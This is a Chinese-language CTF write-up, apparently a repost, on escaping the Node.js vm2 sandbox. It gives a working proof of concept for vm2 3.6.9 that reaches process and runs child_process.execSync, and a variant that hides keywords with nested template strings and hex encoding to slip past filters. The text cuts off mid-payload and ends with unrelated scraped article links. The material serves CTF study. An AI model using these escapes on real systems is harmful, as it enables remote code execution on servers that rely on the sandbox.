这里是利用buffer.from创建一个代理抛出异常throw f=>f.constructor("return process")()被vm2内部代码给捕获,再被catch给捕获,此时由于对() => {}不正确的处理导致了沙箱的逃逸 。
hackim-2019在vm2当中,可以通过制造错误,引起外部报错,再捕获外部的报错来判断是否存在vm2 。

文章插图
在这里通过报错可以发现,服务器使用了vm2.
使用v3.6.9的poc:
"use strict";const {VM} = require('vm2');const untrusted = `var process;try{Object.defineProperty(Buffer.from(""),"",{value:new Proxy({},{getPrototypeOf(target){if(this.t)throw Buffer.from;this.t=true;return Object.getPrototypeOf(target);}})});}catch(e){process = e.constructor("return process")();}process.mainModule.require("child_process").execSync("whoami").toString()`;try{console.log(new VM().run(untrusted));}catch(x){console.log(x);}执行命令即可获取flag 。关于模板字符串利用模板字符串(template string)是增强版的字符串,用反引号(`)标识 。
它可以当作普通字符串使用,也可以用来定义多行字符串,或者在字符串中嵌入变量,而如果在模板字符串中需要使用反引号,则前面要用反斜杠转义,另外在模板字符串中嵌入变量需要将变量名卸载${}当中 。

文章插图
利用模板字符串,我们可以生成一种嵌套模板
`${`${`constructo`}r`}` 拼接完之后可以变为 constructor解析的顺序就是:`${`constructor`}`--->constructorHUFUCTF just_escape在虎符ctf中,就出现了利用模板嵌套来进行绕过,题目用的是vm2,利用poc就可以执行命令,但是题目过滤了一些关键词,导致poc需要进行一些更改,我们十六进制以及unicode编码或者就是模板嵌套可以进行绕过 。(function (){TypeError[`${`${`protot`}ype`}`][`${`${`get_proc`}esss`}`] = f=>f[`${`${`construc`}tor`}`](`${`${`return this.proc`}ess`}`)();try{Object.preventExtensions(Buffer.from(``)).a = 1;}catch(e){return e[`${`${`get_proc`}ess`}`](()=>{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`whoami`).toString();}})()或者是:(function(){TypeError[`x70x72x6fx74x6fx74x79x70x65`][`x67x65x74x5fx70x72x6fx63x65x73x73`] = f=>f[`x作者:ophxc轩 ,原文地址:https://xz.aliyun.com/t/9167推荐阅读
- 成吉思汗墓图片?经典传奇成吉思汗陵墓之谜
- 职业教育|丈夫宁愿受穷也不愿意上班,我给自己找好下家之后,把丈夫换了
- 《云顶之奕》最强阵容怎么玩?
- 大天使之剑什么职业好
- 德浪河谷战役越军真实伤亡?德浪河谷之战全解读
- 官渡之战中袁绍为什么会失败的原因?官渡之战袁绍战败原因
- 康熙当时的太后?康熙死后的皇位之争
- 孙坚是孙武之后吗?孙坚的四位大将
- 心理罪之城市之光心理分析?心理罪之城市之光
- 夷陵之战刘备如果赢了?如果刘备打赢了夷陵之战
